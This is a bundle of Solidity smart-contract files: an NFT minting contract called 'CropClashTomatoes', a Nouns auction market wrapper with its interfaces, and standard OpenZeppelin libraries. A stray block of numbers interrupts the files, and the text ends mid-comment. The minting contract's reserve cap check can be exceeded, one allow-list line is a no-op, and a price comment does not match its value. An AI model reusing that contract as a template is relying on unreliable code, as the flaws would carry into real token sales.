function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId;
_allTokensIndex[lastTokenId] = tokenIndex;
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// ----------------------------------------------------------------------------
// --- Contract Ownable
// ----------------------------------------------------------------------------
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// ----------------------------------------------------------------------------
// --- Contract CropClashTomatoes
// ----------------------------------------------------------------------------
contract CropClashTomatoes is ERC721Enumerable, Ownable {
uint256 private basePrice = 90000000000000000; //0.1
uint256 private reserveAtATime = 50;
uint256 private reservedCount = 0;
uint256 private maxReserveCount = 50;
string _baseTokenURI;
bool public isActive = false;
bool public isAllowListActive = false;
uint256 public constant MAX_MINTSUPPLY = 7500;
uint256 public maximumAllowedTokensPerPurchase = 10;
uint256 public allowListMaxMint = 3;
mapping(address => bool) private _allowList;
mapping(address => uint256) private _allowListClaimed;
event AssetMinted(uint256 tokenId, address sender);
event SaleActivation(bool isActive);
constructor(string memory baseURI) ERC721("Crop Clash", "CROP") {
setBaseURI(baseURI);
}
modifier saleIsOpen {
require(totalSupply() <= MAX_MINTSUPPLY, "Sale has ended.");
_;
}
modifier onlyAuthorized() {
require(owner() == msg.sender);
_;
}
function setMaximumAllowedTokens(uint256 _count) public onlyAuthorized {
maximumAllowedTokensPerPurchase = _count;
}
function setActive(bool val) public onlyAuthorized {
isActive = val;
emit SaleActivation(val);
}
function setIsAllowListActive(bool _isAllowListActive) external onlyAuthorized {
isAllowListActive = _isAllowListActive;
}
function setAllowListMaxMint(uint256 maxMint) external onlyAuthorized {
allowListMaxMint = maxMint;
}
function addToAllowList(address[] calldata addresses) external onlyAuthorized {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Can't add a null address");
_allowList[addresses[i]] = true;
_allowListClaimed[addresses[i]] > 0 ? _allowListClaimed[addresses[i]] : 0;
}
}
function checkIfOnAllowList(address addr) external view returns (bool) {
return _allowList[addr];
}
function removeFromAllowList(address[] calldata addresses) external onlyAuthorized {
for (uint256 i = 0; i < addresses.length; i++) {
require(addresses[i] != address(0), "Can't add a null address");
_allowList[addresses[i]] = false;
}
}
function allowListClaimedBy(address owner) external view returns (uint256){
require(owner != address(0), 'Zero address not on Allow List');
return _allowListClaimed[owner];
}
function setReserveAtATime(uint256 val) public onlyAuthorized {
reserveAtATime = val;
}
function setMaxReserve(uint256 val) public onlyAuthorized {
maxReserveCount = val;
}
function setPrice(uint256 _price) public onlyAuthorized {
basePrice = _price;
}
function setBaseURI(string memory baseURI) public onlyAuthorized {
_baseTokenURI = baseURI;
}
function getMaximumAllowedTokens() public view onlyAuthorized returns (uint256) {
return maximumAllowedTokensPerPurchase;
}
function getPrice() external view returns (uint256) {
return basePrice;
}
function getReserveAtATime() external view returns (uint256) {
return reserveAtATime;
}
function getTotalSupply() external view returns (uint256) {
return totalSupply();
}
function getContractOwner() public view returns (address) {
return owner();
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function reserveNft() public onlyAuthorized {
require(reservedCount <= maxReserveCount, "Max Reserves taken already!");
uint256 supply = totalSupply();
uint256 i;
for (i = 0; i < reserveAtATime; i++) {
emit AssetMinted(supply + i, msg.sender);
_safeMint(msg.sender, supply + i);
reservedCount++;
}
}
function mint(address _to, uint256 _count) public payable saleIsOpen {
if (msg.sender != owner()) {
require(isActive, "Sale is not active currently.");
}
require(totalSupply() + _count <= MAX_MINTSUPPLY, "Total supply exceeded.");
require(totalSupply() <= MAX_MINTSUPPLY, "Total supply spent.");
require(
_count <= maximumAllowedTokensPerPurchase,
"Exceeds maximum allowed tokens"
);
require(msg.value >= basePrice * _count, "Insuffient ETH amount sent.");
for (uint256 i = 0; i < _count; i++) {
emit AssetMinted(totalSupply(), _to);
_safeMint(_to, totalSupply());
}
}
function preSaleMint(uint256 _count) public payable saleIsOpen {
require(isAllowListActive, 'Allow List is not active');
require(_allowList[msg.sender], 'You are not on the Allow List');
require(totalSupply() < MAX_MINTSUPPLY, 'All tokens have been minted');
require(_count <= allowListMaxMint, 'Cannot purchase this many tokens');
require(_allowListClaimed[msg.sender] + _count <= allowListMaxMint, 'Purchase exceeds max allowed');
require(msg.value >= basePrice * _count, 'Insuffient ETH amount sent.');
for (uint256 i = 0; i < _count; i++) {
_allowListClaimed[msg.sender] += 1;
emit AssetMinted(totalSupply(), msg.sender);
_safeMint(msg.sender, totalSupply());
}
}
function walletOfOwner(address _owner) external view returns(uint256[] memory) {
uint tokenCount = balanceOf(_owner);
uint256[] memory tokensId = new uint256[](tokenCount);
for(uint i = 0; i < tokenCount; i++){
tokensId[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokensId;
}
function withdraw() external onlyAuthorized {
payable(owner()).transfer(address(this).balance);
}
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// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
// ============ External Imports ============
import {INounsAuctionHouse} from "../external/interfaces/INounsAuctionHouse.sol";
// ============ Internal Imports ============
import {IMarketWrapper} from "./IMarketWrapper.sol";
/**
* @title NounsMarketWrapper
* @author Anna Carroll + Nounders
* @notice MarketWrapper contract implementing IMarketWrapper interface
* according to the logic of Nouns' Auction Houses
*/
contract NounsMarketWrapper is IMarketWrapper {
// ============ Public Immutables ============
INounsAuctionHouse public immutable market;
// ======== Constructor =========
constructor(address _nounsAuctionHouse) {
market = INounsAuctionHouse(_nounsAuctionHouse);
}
// ======== External Functions =========
/**
* @notice Determine whether there is an existing, active auction
* for this token. In the Nouns auction house, the current auction
* id is the token id, which increments sequentially, forever. The
* auction is considered active while the current block timestamp
* is less than the auction's end time.
* @return TRUE if the auction exists
*/
function auctionExists(uint256 auctionId)
public
view
override
returns (bool)
{
(uint256 currentAuctionId, , , uint256 endTime, , ) = market.auction();
return auctionId == currentAuctionId && block.timestamp < endTime;
}
/**
* @notice Determine whether the given auctionId and tokenId is active.
* We ignore nftContract since it is static for all nouns auctions.
* @return TRUE if the auctionId and tokenId matches the active auction
*/
function auctionIdMatchesToken(
uint256 auctionId,
address /* nftContract */,
uint256 tokenId
) public view override returns (bool) {
return auctionId == tokenId && auctionExists(auctionId);
}
/**
* @notice Calculate the minimum next bid for the active auction
* @return minimum bid amount
*/
function getMinimumBid(uint256 auctionId)
external
view
override
returns (uint256)
{
require(
auctionExists(auctionId),
"NounsMarketWrapper::getMinimumBid: Auction not active"
);
(, uint256 amount, , , address payable bidder, ) = market.auction();
if (bidder == address(0)) {
// if there are NO bids, the minimum bid is the reserve price
return market.reservePrice();
}
// if there ARE bids, the minimum bid is the current bid plus the increment buffer
uint8 minBidIncrementPercentage = market.minBidIncrementPercentage();
return amount + ((amount * minBidIncrementPercentage) / 100);
}
/**
* @notice Query the current highest bidder for this auction
* @return highest bidder
*/
function getCurrentHighestBidder(uint256 auctionId)
external
view
override
returns (address)
{
require(
auctionExists(auctionId),
"NounsMarketWrapper::getCurrentHighestBidder: Auction not active"
);
(, , , , address payable bidder, ) = market.auction();
return bidder;
}
/**
* @notice Submit bid to Market contract
*/
function bid(uint256 auctionId, uint256 bidAmount) external override {
// line 104 of Nouns Auction House, createBid() function
(bool success, bytes memory returnData) =
address(market).call{value: bidAmount}(
abi.encodeWithSignature(
"createBid(uint256)",
auctionId
)
);
require(success, string(returnData));
}
/**
* @notice Determine whether the auction has been finalized
* @return TRUE if the auction has been finalized
*/
function isFinalized(uint256 auctionId)
external
view
override
returns (bool)
{
(uint256 currentAuctionId, , , , , bool settled) = market.auction();
bool settledNormally = auctionId != currentAuctionId;
bool settledWhenPaused = auctionId == currentAuctionId && settled;
return settledNormally || settledWhenPaused;
}
/**
* @notice Finalize the results of the auction
*/
function finalize(uint256 /* auctionId */) external override {
if (market.paused()) {
market.settleAuction();
} else {
market.settleCurrentAndCreateNewAuction();
}
}
}
// SPDX-License-Identifier: GPL-3.0
/// @title Interface for Noun Auction Houses
/*********************************
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░██░░░████░░██░░░████░░░ *
* ░░██████░░░████████░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░██░░██░░░████░░██░░░████░░░ *
* ░░░░░░█████████░░█████████░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
* ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ *
*********************************/
pragma solidity ^0.8.5;
interface INounsAuctionHouse {
struct Auction {
// ID for the Noun (ERC721 token ID)
uint256 nounId;
// The current highest bid amount
uint256 amount;
// The time that the auction started
uint256 startTime;
// The time that the auction is scheduled to end
uint256 endTime;
// The address of the current highest bid
address payable bidder;
// Whether or not the auction has been settled
bool settled;
}
event AuctionCreated(uint256 indexed nounId, uint256 startTime, uint256 endTime);
event AuctionBid(uint256 indexed nounId, address sender, uint256 value, bool extended);
event AuctionExtended(uint256 indexed nounId, uint256 endTime);
event AuctionSettled(uint256 indexed nounId, address winner, uint256 amount);
event AuctionTimeBufferUpdated(uint256 timeBuffer);
event AuctionReservePriceUpdated(uint256 reservePrice);
event AuctionMinBidIncrementPercentageUpdated(uint256 minBidIncrementPercentage);
function reservePrice() external view returns (uint256);
function minBidIncrementPercentage() external view returns (uint8);
function auction() external view returns (uint256, uint256, uint256, uint256, address payable, bool);
function settleAuction() external;
function settleCurrentAndCreateNewAuction() external;
function createBid(uint256 nounId) external payable;
function pause() external;
function unpause() external;
function paused() external view returns (bool);
function setTimeBuffer(uint256 timeBuffer) external;
function setReservePrice(uint256 reservePrice) external;
function setMinBidIncrementPercentage(uint8 minBidIncrementPercentage) external;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.5;
/**
* @title IMarketWrapper
* @author Anna Carroll
* @notice IMarketWrapper provides a common interface for
* interacting with NFT auction markets.
* Contracts can abstract their interactions with
* different NFT markets using IMarketWrapper.
* NFT markets can become compatible with any contract
* using IMarketWrapper by deploying a MarketWrapper contract
* that implements this interface using the logic of their Market.
*
* WARNING: MarketWrapper contracts should NEVER write to storage!
* When implementing a MarketWrapper, exercise caution; a poorly implemented
* MarketWrapper contract could permanently lose access to the NFT or user funds.
*/
interface IMarketWrapper {
/**
* @notice Determine whether there is an existing auction
* for this token on the underlying market
* @return TRUE if the auction exists
*/
function auctionExists(uint256 auctionId) external view returns (bool);
/**
* @notice Determine whether the given auctionId is
* an auction for the tokenId + nftContract
* @return TRUE if the auctionId matches the tokenId + nftContract
*/
function auctionIdMatchesToken(
uint256 auctionId,
address nftContract,
uint256 tokenId
) external view returns (bool);
/**
* @notice Calculate the minimum next bid for this auction
* @return minimum bid amount
*/
function getMinimumBid(uint256 auctionId) external view returns (uint256);
/**
* @notice Query the current highest bidder for this auction
* @return highest bidder
*/
function getCurrentHighestBidder(uint256 auctionId)
external
view
returns (address);
/**
* @notice Submit bid to Market contract
*/
function bid(uint256 auctionId, uint256 bidAmount) external;
/**
* @notice Determine whether the auction has been finalized
* @return TRUE if the auction has been finalized
*/
function isFinalized(uint256 auctionId) external view returns (bool);
/**
* @notice Finalize the results of the auction
*/
function finalize(uint256 auctionId) external;
}
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2003,
10763,
2005,
2035,
19211,
10470,
2015,
1012,
1008,
1030,
2709,
2995,
2065,
1996,
10470,
3593,
1998,
19204,
3593,
3503,
1996,
3161,
10470,
1008,
1013,
3853,
10470,
3593,
18900,
8376,
18715,
2368,
102
]
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|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
